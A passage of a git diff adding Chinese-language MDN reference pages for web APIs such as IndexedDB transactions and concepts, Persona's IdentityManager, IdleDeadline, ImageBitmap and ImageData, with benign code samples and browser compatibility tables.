+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // report on the success of opening the transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '<li>Transaction completed: database modification finished.</li>';
+  };
+
+
+  transaction.onerror = function(event) {
+  note.innerHTML += '<li>Transaction not opened due to error. Duplicate items not allowed.</li>';
+  };
+
+  // create an object store on the transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // add our newItem object to the object store
+  var objectStoreRequest = objectStore.add(newItem[0]);
+
+  objectStoreRequest.onsuccess = function(event) {
+    // report the success of our new item going into the database
+    note.innerHTML += '<li>New item added to database.</li>';
+  };
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#transaction', 'IDBTransaction')}}{{Spec2('IndexedDB')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.11022{{CompatNo}}
+
+ +

Known browser issues

+ +

Older versions of Google Chrome serialise all transactions. So even if you have only read-only transactions and no read-write transaction, your transactions are executed one at a time. Any subsequent transactions are not executed until read-only transactions are completed. For the status, see bug 64076.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/identitymanager/index.html b/files/zh-cn/web/api/identitymanager/index.html new file mode 100644 index 0000000000..35dab1a6c2 --- /dev/null +++ b/files/zh-cn/web/api/identitymanager/index.html @@ -0,0 +1,43 @@ +--- +title: IdentityManager +slug: Web/API/IdentityManager +translation_of: Archive/IdentityManager +--- +

{{APIRef("Persona")}}{{non-standard_header}}

+ +

The IdentityManager of the  BrowserID protocol exposes the BrowserID API, via {{domxref("navigator.id")}}. This API has gone through several significant revisions. Each generation is listed separately below.

+ +

The "Observer" API (Current)

+ +

The Observer API introduces much-requested features, such as an improved post-verification experience for first-time users, automatic persistent logins, and easier integration with native applications.

+ +
+
{{ domxref("IdentityManager.watch()")}}
+
Registers callbacks to be invoked when a user logs into or out of a website.
+
{{ domxref("IdentityManager.request()")}}
+
Requests a signed identity assertion from the user.
+
{{ domxref("IdentityManager.logout()")}}
+
Logs the user out of a website and prevents the onlogin action from automatically firing on their next visit.
+
+ +
+

Users with third-party cookies disabled may experience problems logging in using the Observer API as detailed in issue 2999.

+
+ +

The "Callback" API (Current)

+ +

The Callback API was introduced in November 2011. It improved upon the initial API by allowing options to be passed to navigator.id.get() and offering experimental support for BrowserID-managed persistent sessions.

+ +
+
{{ domxref("IdentityManager.get()")}}
+
Gets the user's BrowserID in a signed assertion.
+
+ +

The "VerifiedEmail" API (Deprecated)

+ +

The VerifiedEmail API was BrowserID's first API. It was deprecated at the end of 2011.

+ +
+
{{ domxref("IdentityManager.getVerifiedEmail()")}} {{ deprecated_inline() }}
+
Gets the user's BrowserID in a signed assertion. This method is deprecated; {{ domxref("navigator.id.get()")}} is backwards compatible and can be used instead.
+
diff --git a/files/zh-cn/web/api/identitymanager/watch/index.html b/files/zh-cn/web/api/identitymanager/watch/index.html new file mode 100644 index 0000000000..1660ccdacf --- /dev/null +++ b/files/zh-cn/web/api/identitymanager/watch/index.html @@ -0,0 +1,59 @@ +--- +title: IdentityManager.watch() +slug: Web/API/IdentityManager/watch +translation_of: Archive/IdentityManager/watch +--- +

{{ ApiRef("Persona") }}

+ +
注意: 不是所有的浏览器都支持这项功能. 使用 Persona 的网站必须在他们的页面中包含 polyfill library .
+ +

概要

+ +

This function registers callbacks that respond to a Persona user logging in or out.

+ +

语法

+ +
navigator.id.watch({
+  loggedInUser: 'bob@example.org',
+  onlogin: function(assertion) {
+    // A user has logged in! Here you need to:
+    // 1. Send the assertion to your backend for verification and to create a session.
+    // 2. Update your UI.
+  },
+  onlogout: function() {
+    // A user has logged out! Here you need to:
+    // Tear down the user's session by redirecting the user or making a call to your backend.
+  }
+});
+
+ +

参数

+ +
+
loggedInUser {{ optional_inline() }}
+
NOTE: This parameter was renamed from loggedInEmail in early September. Both names will continue to work for the time being, but code should be changed to use loggedInUser instead.
+
The email address of the currently logged in user. This should be a string containing the user's email address if the website believes that a user is currently logged in, or null otherwise. If the website is unsure, this should be set to undefined or omitted.
+
Persona compares its knowledge of the local user to the value of loggedInUser to determine which callback—onlogin, onlogout, or none at all—to automatically invoke when your page loads. If loggedInUser is undefined or omitted, Persona will invoke either onlogin or onlogout, depending on whether or not a local user should be logged in to your site. These callbacks are not invoked automatically if both BrowserID and loggedInUser agree on the local user's state.
+
Note that Persona may automatically call either onlogin or onlogout when your page loads, but not both. If loggedInUser is set to foo@example.com, but Persona believes bar@example.com should be logged in, only onlogin will be called. It will have an assertion for bar@example.com as its first parameter.
+
onlogin
+
A function which will be invoked and passed a single argument, an assertion, when the user logs in. This function should send the assertion to the site's backend for verification. If verification succeeds, the backend should establish a session for the user and the function should update the UI as appropriate.
+
onlogout
+
A function that will be invoked, without any arguments, when the user logs out. This should tear down the user's session by making a call to the site's backend, or by redirecting the user.
+
+ +

示例

+ +

需要示例.

+ +

技术规范

+ +

没有包含在任何技术规范中.

+ +

查看其它内容

+ + diff --git a/files/zh-cn/web/api/idledeadline/index.html b/files/zh-cn/web/api/idledeadline/index.html new file mode 100644 index 0000000000..e988592759 --- /dev/null +++ b/files/zh-cn/web/api/idledeadline/index.html @@ -0,0 +1,116 @@ +--- +title: IdleDeadline +slug: Web/API/IdleDeadline +translation_of: Web/API/IdleDeadline +--- +
{{APIRef("Background Tasks")}}
+ +
+

IdleDeadline interface 在 {{domxref("Window.requestIdleCallback()")}}被调用的时候做为一个IdleDeadline interface类型的参数传递给requestIdleCallback方法的回调函数。它提供了一个方法, 可以让你判断用户代理(浏览器)还剩余多少闲置时间可以用来执行耗时任务{{domxref("..timeRemaining", "timeRemaining()")}},{{domxref("IdleDeadline.didTimeout", "didTimeout")}}, didTimeout属性用来判断当前的回调函数是否被执行因为回调函数存在过期时间(requestIdleCallback的第二个参数用来指定执行超时时间,即回调函数在规定的时间内是否被执行,如果没有执行didTimeout属性将为ture,如果任务是急需完成的此时应该忽略剩余时间逻辑上强制执行回调函数)。

+ +

学习更多的request callbacks工作原理请参考Collaborative Scheduling of Background Tasks.

+
+ +

Properties

+ +
+
{{domxref("IdleDeadline.didTimeout")}} {{ReadOnlyInline}}
+
一个Boolean类型当它的值为true的时候说明callback正在被执行(并且上一次执行回调函数执行的时候由于时间超时回调函数得不到执行),因为在执行requestIdleCallback回调的时候指定了超时时间并且时间已经超时。
+
+ +

Methods

+ +
+
{{domxref("IdleDeadline.timeRemaining()")}}
+
返回一个时间{{domxref("DOMHighResTimeStamp")}}, 并且是浮点类型的数值,它用来表示当前闲置周期的预估剩余毫秒数。如果idle period已经结束,则它的值是0。你的回调函数(传给requestIdleCallback的函数)可以重复的访问这个属性用来判断当前线程的闲置时间是否可以在结束前执行更多的任务。
+
+ +
+
+ +

Example

+ +

实例complete example (在 Cooperative Scheduling of Background Tasks API.文章内)

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support47{{CompatNo}}{{CompatGeckoDesktop(53)}}[1]{{CompatNo}}34{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support5355{{CompatGeckoMobile(53)}}[1]{{CompatUnknown}}{{CompatNo}}37{{CompatNo}}
+
+ +

[1] Idle callback功能在Firefox 53版本中添加,但是默认处于未启用状态. 通过设置dom.requestIdleCallback.enabled 属性为true 来启用该功能。Idle callback功能在Firefox 55版本中默认启用。

+ +

See also

+ + diff --git a/files/zh-cn/web/api/idledeadline/timeremaining/index.html b/files/zh-cn/web/api/idledeadline/timeremaining/index.html new file mode 100644 index 0000000000..e4074e7277 --- /dev/null +++ b/files/zh-cn/web/api/idledeadline/timeremaining/index.html @@ -0,0 +1,59 @@ +--- +title: IdleDeadline.timeRemaining() +slug: Web/API/IdleDeadline/timeRemaining +translation_of: Web/API/IdleDeadline/timeRemaining +--- +

{{APIRef("Background Tasks")}}{{SeeCompatTable}}

+ +

The timeRemaining() method on the {{domxref("IdleDeadline")}} interface returns the estimated number of milliseconds remaining in the current idle period. The callback can call this method at any time to determine how much time it can continue to work before it must return. For example, if the callback finishes a task and has another one to begin, it can call timeRemaining() to see if there's enough time to complete the next task. If there isn't, the callback can just return immediately, or look for other work to do with the remaining time.

+ +

By the time timeRemaining() reaches 0, it is suggested that the callback should return control to the user agent's event loop.

+ +

Syntax

+ +
timeRemaining = IdleDeadline.timeRemaining();
+
+ +

Return value

+ +

A {{domxref("DOMHighResTimeStamp")}} value (which is a floating-point number) representing the number of milliseconds the user agent estimates are left in the current idle period. The value is ideally accurate to within about 5 microseconds.

+ +

If the {{domxref("IdleDeadline")}} object's {{domxref("IdleDeadline.didTimeout", "didTimeout")}} property is true, this method returns zero.

+ +

Example

+ +

See our complete example in the article Cooperative Scheduling of Background Tasks API.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IdleDeadline.timeRemaining")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/imagebitmap/height/index.html b/files/zh-cn/web/api/imagebitmap/height/index.html new file mode 100644 index 0000000000..b6e6560cfb --- /dev/null +++ b/files/zh-cn/web/api/imagebitmap/height/index.html @@ -0,0 +1,33 @@ +--- +title: ImageBitmap.height +slug: Web/API/ImageBitmap/height +translation_of: Web/API/ImageBitmap/height +--- +
{{APIRef("Canvas API")}}
+ +
 
+ +

只读属性 ImageBitmap.height 返回 {{domxref("ImageBitmap")}} 对象的 CSS 像素高度。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "webappapis.html#dom-imagebitmap-height", "ImageBitmap.height")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ImageBitmap.height")}}

diff --git a/files/zh-cn/web/api/imagebitmap/index.html b/files/zh-cn/web/api/imagebitmap/index.html new file mode 100644 index 0000000000..79e789620b --- /dev/null +++ b/files/zh-cn/web/api/imagebitmap/index.html @@ -0,0 +1,132 @@ +--- +title: ImageBitmap +slug: Web/API/ImageBitmap +tags: + - API + - Canvas + - ImageBitmap + - Interface + - 绘图 +translation_of: Web/API/ImageBitmap +--- +
{{APIRef("Canvas API")}}
+ +

ImageBitmap 接口表示能够被绘制到 {{HTMLElement("canvas")}} 上的位图图像,具有低延迟的特性。运用 {{domxref("ImageBitmapFactories.createImageBitmap", "createImageBitmap()")}} 工厂方法模式,它可以从多种源中生成。 ImageBitmap提供了一种异步且高资源利用率的方式来为WebGL的渲染准备基础结构。

+ +

属性

+ +
+
{{domxref("ImageBitmap.height")}} {{readonlyInline}}
+
无符号长整型数值,表示ImageData的CSS像素单位的高度。
+
{{domxref("ImageBitmap.width")}} {{readonlyInline}}
+
无符号长整型数值, 表示ImageData的CSS像素单位的宽度。
+
+ +

方法

+ +
+
{{domxref("ImageBitmap.close()")}}
+
+

释放ImageBitmap所相关联的所有图形资源。

+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "webappapis.html#imagebitmap", "ImageBitmap")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(42)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
close(){{CompatNo}}{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(42)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
close(){{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/imagebitmap/width/index.html b/files/zh-cn/web/api/imagebitmap/width/index.html new file mode 100644 index 0000000000..14bbd1882f --- /dev/null +++ b/files/zh-cn/web/api/imagebitmap/width/index.html @@ -0,0 +1,33 @@ +--- +title: ImageBitmap.width +slug: Web/API/ImageBitmap/width +translation_of: Web/API/ImageBitmap/width +--- +
{{APIRef("Canvas API")}}
+ +
 
+ +

只读属性 ImageBitmap.width 返回 {{domxref("ImageBitmap")}} 对象的 CSS 像素宽度。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "webappapis.html#dom-imagebitmap-width", "ImageBitmap.height")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ImageBitmap.width")}}

diff --git a/files/zh-cn/web/api/imagebitmaprenderingcontext/index.html b/files/zh-cn/web/api/imagebitmaprenderingcontext/index.html new file mode 100644 index 0000000000..7f80de0547 --- /dev/null +++ b/files/zh-cn/web/api/imagebitmaprenderingcontext/index.html @@ -0,0 +1,44 @@ +--- +title: ImageBitmapRenderingContext +slug: Web/API/ImageBitmapRenderingContext +tags: + - API + - Canvas + - OffscreenCanvas + - Reference + - 性能 + - 绘图 +translation_of: Web/API/ImageBitmapRenderingContext +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

ImageBitmapRenderingContext 接口是 canvas 的渲染上下文,它只提供了使用给定 {{domxref("ImageBitmap")}} 替换 canvas 的功能。它的上下文 ID ({{domxref("HTMLCanvasElement.getContext()")}} 或 {{domxref("OffscreenCanvas.getContext()")}} 的第一个参数)  是 "bitmaprenderer"。

+ +

这个接口可用于 window context 和 worker context.

+ +

方法

+ +
+
{{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}
+
+

在与此渲染上下文相关的 canvas 中显示给定的 ImageBitmapImageBitmap 的所有权被转移到画布上。 这个函数以前命名为transferImageBitmap(),但在规范中修改了原名字。 为了避免影响之前的代码,旧名称作为别名被保留下来。

+
+
+ +

规范

+ +

Currently drafted as a proposal in the OffscreenCanvas specification.

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ImageBitmapRenderingContext")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/imagedata/data/index.html b/files/zh-cn/web/api/imagedata/data/index.html new file mode 100644 index 0000000000..c25770cb3b --- /dev/null +++ b/files/zh-cn/web/api/imagedata/data/index.html @@ -0,0 +1,95 @@ +--- +title: ImageData.data +slug: Web/API/ImageData/data +translation_of: Web/API/ImageData/data +--- +

{{APIRef("Canvas API")}}

+ +

只读的 ImageData.data 属性,返回 {{jsxref("Uint8ClampedArray")}} ,描述一个一维数组,包含以 RGBA 顺序的数据,数据使用  0 至 255(包含)的整数表示。 

+ +

语法

+ +
imagedata.data
+
+ +

示例

+ +
var imagedata = new ImageData(100, 100);
+imagedata.data; // Uint8ClampedArray[40000]
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-data', 'ImageData.data')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("14")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("14")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + + +
 
diff --git a/files/zh-cn/web/api/imagedata/height/index.html b/files/zh-cn/web/api/imagedata/height/index.html new file mode 100644 index 0000000000..2daa6a9daf --- /dev/null +++ b/files/zh-cn/web/api/imagedata/height/index.html @@ -0,0 +1,94 @@ +--- +title: ImageData.height +slug: Web/API/ImageData/height +translation_of: Web/API/ImageData/height +--- +

{{APIRef("Canvas API")}}

+ +

只读的 ImageData.height 属性,返回在图像数据对象中的行的数量。

+ +

语法

+ +
imagedata.height
+
+ +

示例

+ +
var imagedata = new ImageData(100, 100);
+imagedata.height; // 100
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-height', 'ImageData.height')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("14")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("14")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + + +
 
diff --git a/files/zh-cn/web/api/imagedata/imagedata/index.html b/files/zh-cn/web/api/imagedata/imagedata/index.html new file mode 100644 index 0000000000..fc2b782cd0 --- /dev/null +++ b/files/zh-cn/web/api/imagedata/imagedata/index.html @@ -0,0 +1,66 @@ +--- +title: ImageData() +slug: Web/API/ImageData/ImageData +translation_of: Web/API/ImageData/ImageData +--- +

{{APIRef("Canvas API")}}

+ +

ImageData() 构造函数返回一个新的实例化的 ImageData 对象,  此对象由给定的类型化数组和指定的宽度与高度组成。

+ +

这个构造器是创建像这种对象首选的方式。

+ +

语法

+ +
new ImageData(array, width, height);
+new ImageData(width, height);
+
+ +

参数

+ +
+
array
+
包含图像隐藏像素的 {{jsxref("Uint8ClampedArray")}} 数组。如果数组没有给定,指定大小的黑色矩形图像将会被创建。
+
width
+
无符号长整型(unsigned long)数值,描述图像的宽度。
+
 height
+
      无符号长整型(unsigned long)数值,描述图像的高度。
+
如果已给定数组,这个值是可选的:它将通过它的大小和给定的宽度进行推断。
+
+ +
+
+ +

示例

+ +
var imageData = new ImageData(100, 100); // Creates a 100x100 black rectangle
+// ImageData { width: 100, height: 100, data: Uint8ClampedArray[40000] }
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata', 'ImageData()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ImageData.ImageData")}}

+ +

参见

+ + + +
diff --git a/files/zh-cn/web/api/imagedata/index.html b/files/zh-cn/web/api/imagedata/index.html new file mode 100644 index 0000000000..ffb6aa3ba8 --- /dev/null +++ b/files/zh-cn/web/api/imagedata/index.html @@ -0,0 +1,63 @@ +--- +title: ImageData +slug: Web/API/ImageData +translation_of: Web/API/ImageData +--- +
{{APIRef("Canvas API")}}
+ +

ImageData 接口描述 {{HTMLElement("canvas")}} 元素的一个隐含像素数据的区域。使用 {{domxref("ImageData.ImageData", "ImageData()")}} 构造函数创建或者使用和 canvas 在一起的 {{domxref("CanvasRenderingContext2D")}} 对象的创建方法: {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} 和 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}。也可以使用 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}} 设置 canvas 的一部分。

+ +

构造函数

+ +
+
{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}
+
三个参数,第一个 是{{jsxref("Uint8ClampedArray")}}的实例,第二个和第三个表示的是width和height,必须保证Uint8ClampedArray的length = 4*width*height才不会报错,如果第一个参数Uint8ClampedArray没有的话,自动按照width和height的大小,以0填充整个像素矩阵。
+
使用给定的{{jsxref("Uint8ClampedArray")}}创建一个 ImageData 对象,并包含图像的大小。如果不给定数组,会创建一个“完全透明”(因为透明度值为0)的黑色矩形图像。注意,这是最常见的方式去创建这样一个对象,在 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} 不可用时。
+
+ +

属性

+ +
+
{{domxref("ImageData.data")}} {{readonlyInline}}
+
{{jsxref("Uint8ClampedArray")}} 描述了一个一维数组,包含以 RGBA 顺序的数据,数据使用  0 至 255(包含)的整数表示。 
+
{{domxref("ImageData.height")}} {{readonlyInline}}
+
无符号长整型(unsigned long),使用像素描述 ImageData 的实际高度。
+
{{domxref("ImageData.width")}} {{readonlyInline}}
+
无符号长整型(unsigned long),使用像素描述 ImageData 的实际宽度。
+
+ +

规范描述

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "canvas.html#imagedata", "ImageData")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + +

{{Compat("api.ImageData")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/imagedata/width/index.html b/files/zh-cn/web/api/imagedata/width/index.html new file mode 100644 index 0000000000..1d6476f05f --- /dev/null +++ b/files/zh-cn/web/api/imagedata/width/index.html @@ -0,0 +1,94 @@ +--- +title: ImageData.width +slug: Web/API/ImageData/width +translation_of: Web/API/ImageData/width +--- +

{{APIRef("Canvas API")}}

+ +

只读的 ImageData.width 属性,返回在图像数据对象中每一行像素的数量。

+ +

语法

+ +
imagedata.width
+
+ +

示例

+ +
var imagedata = new ImageData(100, 100);
+imagedata.width // 100
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-width', 'ImageData.width')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("14")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("14")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + + +
 
diff --git a/files/zh-cn/web/api/index.html b/files/zh-cn/web/api/index.html new file mode 100644 index 0000000000..aa9a01b49b --- /dev/null +++ b/files/zh-cn/web/api/index.html @@ -0,0 +1,35 @@ +--- +title: Web API 接口参考 +slug: Web/API +tags: + - API + - JavaScript + - Web + - Web API +translation_of: Web/API +--- +

在使用 JavaScript 编写 Web 代码时,有许多 Web API 可供调用。下面是开发Web应用程序或网站时可能使用的所有API和接口(对象类型)的列表。

+ +

Web API主要用于JavaScript,但也可能有例外。

+ +

规范

+ +
这是一个所有可用API的列表。
+ +
+ +
{{ListGroups}}
+ +

接口

+ +
这是一个所有接口(即对象类型)的列表。
+ +
+ +
{{APIListAlpha}}
+ +

另见

+ + diff --git a/files/zh-cn/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/zh-cn/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html new file mode 100644 index 0000000000..dfbfa97dd6 --- /dev/null +++ b/files/zh-cn/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -0,0 +1,204 @@ +--- +title: 基本概念 +slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +tags: + - IndexedDB 总述 +translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB +--- +

{{DefaultAPISidebar("IndexedDB")}}

+ +
+

IndexedDB 是一种在用户浏览器中持久存储数据的方法。它允许您不考虑网络可用性,创建具有丰富查询能力的可离线 Web 应用程序。IndexedDB 对于存储大量数据的应用程序(例如借阅库中的 DVD 目录)和不需要持久 Internet 连接的应用程序(例如邮件客户端、待办事项列表或记事本)很有用。

+
+ +

关于本文档

+ +

本简介讨论了 IndexedDB 中的基本概念和术语。为您提供了概览并解释了关键概念。

+ +

您会发现以下非常有用的内容:

+ + + +

 IndexedDB概况

+ +

使用IndexedDB,你可以使用一个key作为索引进行存储或者获取数据。 你可以在事务(transaction)中完成对数据的修改。和大多数web存储解决方案相同,indexedDB也遵从同源协议(same-origin policy). 所以你只能访问同域中存储的数据,而不能访问其他域的。

+ +

IndexedDB 是一种异步(asynchronous) API,异步API适用于大多数情况,包括Web Workers。因为在Web Workers上的使用,它过去也有一个同步(synchronous)的版本,但是因为缺少web社区的支持,它已经被从规范中移除了。

+ +

IndexedDB 过去有一个竞争规范—— WebSQL 数据库,但是W3C组织在2010年11月18日废弃了webSql。尽管两者都是存储的解决方案,但是他们提供的不是同样的功能。IndexedDB 和WebSQL的不同点在于WebSQL 是关系型数据库访问系统,IndexedDB 是索引表系统(key-value型)。

+ +

基本概念

+ +

如果你因为使用其他类型数据库有某些固定思维,那么你在使用IndexedDB的时候可能会感到困惑,所以请牢记以下重要的概念:

+ + + +

名词解释

+ +

本节定义并解释了IndexedDB API中所使用的术语

+ +

数据库

+ +
+
数据库(database)
+
一个信息库,通常包含一个或多个 object stores. 每个数据库必须包含以下内容:
+
+
    +
  • 名字(Name)。它标识了一个特定源中的数据库,并且在数据库的整个生命周期内保持不变。  此名字可以为任意字符串值(包括空字符串)。
  • +
  • 当前版本(version)。当一个数据库首次创建时,它的 version 为1,除非另外指定. 每个数据库在任意时刻只能有一个 version。
  • +
+
+
持久性(durable)
+
在 Firefox 中,IndexedDB 是持久的,也就是说在一个读写事务中,一旦 IDBTransaction.oncomplete 事件被触发,就代表着数据已经确保被写入磁盘中了。
+
从 Firfox 40 起,IndexedDB 事务放松了对持久性的保证以提高性能(参见 Bug1112702),这与其他支持 IndexedDB 的浏览器的处理方式相同。在这种情况下,当操作系统被告知去写入数据后 complete 事件便被触发,但此时数据可能还没有真正的写入磁盘。事件触发因此变得更快,但这样会有极小的机会发生以下情况:如果操作系统崩溃或在数据被写入磁盘前断电,那么整个事务都将丢失。由于这种灾难事件是罕见的,大多数使用者并不需要过分担心。
+
对象仓库(object store)
+
+

数据在数据库中存储的方式, 数据以键值对形式被对象仓库永久持有。对象仓库中的的数据以 keys 升序排列。

+ +

每一个对象仓库在同一个数据库中必须有唯一的名字。对象存储可以有一个 key generator 和一个 key path如果对象仓库有 key path,则使用 in-line keys; 否则使用 out-of-line keys

+ +

关于对象仓库的详细文档,请参考 IDBObjectStore 或者 IDBObjectStoreSync

+
+
版本(version)
+
当第一次创建一个数据库,它的版本为整型1。每个数据库依次有一个版本号; 一个数据库不能同时存在多个版本号。改变版本的唯一方法是通过一个比当前版本号更高的值去打开数据库。这会开启一个 VERSION_CHANGE 事务并且触发 upgradeneeded 事件。只有在该事件的处理函数中才能更新数据库模式。
+
注意:这里的描述以最新规范为准,这些规范可能只在最新的浏览器中实现了。老旧的浏览器实现了现在已弃用和移除的 IDBDataBase.setVersion() 方法。
+
数据库连接(database connection)
+
通过打开数据库创建的操作。一个给定的数据库可以同时拥有多个连接。
+
事务(transaction)
+
在一个特定的数据库上,一组具备原子性和持久性的数据访问和数据修改的操作。它是你与数据库交互的方式。并且,任何对于数据库中的数据读和修改的操作只能在事务中进行。
+
+

一个数据库连接可以拥有多个与之关联的事务,只要进行写操作事务的作用域不相互重合。事务的作用域在事务被创建时就被确定,指定事务能够进行交互的对象仓库(object store),作用域一旦被确定就会在整个生命周期中保持不变。举个例子,如果一个数据库连接已经有了一个进行写操作的事务,其作用域覆盖 flyingMonkey 对象仓库,你可以开启新的事务其作用于 unicornCentaurunicornPegasus 对象仓库。对于读操作的事务,你可以同时拥有多个,即使他们有重叠的作用域。

+ +

事务被期望拥有较短的生命周期,所以浏览器会终止一个消耗时间过长的事务,为了释放存储资源,运行过久的事务会被锁定。你可以中断一个事务,来回滚事务中对数据库进行的操作。并且你甚至不需要等待事务开始或激活就可以中断它。

+ +

事务有三种模式:读写、只读和版本变更。创建和删除对象仓库(object store)的唯一方法就是通过调用版本变更事务。了解更多关于事务类型的内容,请参考 IndexedDB

+ +

因为所有的事情都在事务中发生,所以它是 IndexedDB 中非常重要的一个概念。了解更多关于事务,尤其是关于它和版本控制的关联,查看 IDBTransaction 中的参考文档。关于同步接口的文档,查看 IDBTransactionSync

+
+
请求(request)
+
在数据库上进行读写操作完成后的操作。每一个请求代表一个读或写操作。
+
索引(index)
+
+

